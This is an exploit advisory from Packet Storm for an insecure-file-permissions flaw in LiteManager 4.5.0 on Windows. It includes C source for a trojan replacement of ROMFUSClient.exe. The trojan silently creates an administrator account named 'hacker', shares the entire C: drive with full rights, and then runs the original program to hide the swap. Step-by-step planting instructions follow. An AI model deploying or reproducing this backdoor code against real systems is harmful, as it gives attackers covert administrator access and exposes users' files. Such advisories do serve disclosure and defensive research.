LiteManager 4.5.0 Insecure File Permissions ≈ Packet Storm

# Exploit Title: LiteManager 4.5.0 - Insecure File Permissions
# Exploit Author: ZwX
# Exploit Date: 2019-11-21
# Vendor Homepage : LiteManager Team
# Software Link: http://html.tucows.com/preview/1594042/LiteManager-Free?q=remote+support
# Tested on OS: Windows 7

# Proof of Concept (PoC):
==========================

C:\Program Files\LiteManagerFree - Server>icacls *.exe
ROMFUSClient.exe Everyone:(F)
AUTORITE NT\Système:(I)(F)
BUILTIN\Administrateurs:(I)(F)
BUILTIN\Utilisateurs:(I)(RX)

#Exploit code(s):
=================

1) Compile below 'C' code name it as "ROMFUSClient.exe"

#include<windows.h>

int main(void){
system("net user hacker abc123 /add");
system("net localgroup Administrators hacker /add");
system("net share SHARE_NAME=c:\ /grant:hacker,full");
WinExec("C:\\Program Files\\LiteManagerFree\\~ROMFUSClient.exe",0);
return 0;
}

2) Rename original "ROMFUSClient.exe" to "~ROMFUSClient.exe"
3) Place our malicious "ROMFUSClient.exe" in the LiteManagerFree directory
4) Disconnect and wait for a more privileged user to connect and use ROMFUSClient IDE.
Privilege Successful Escalation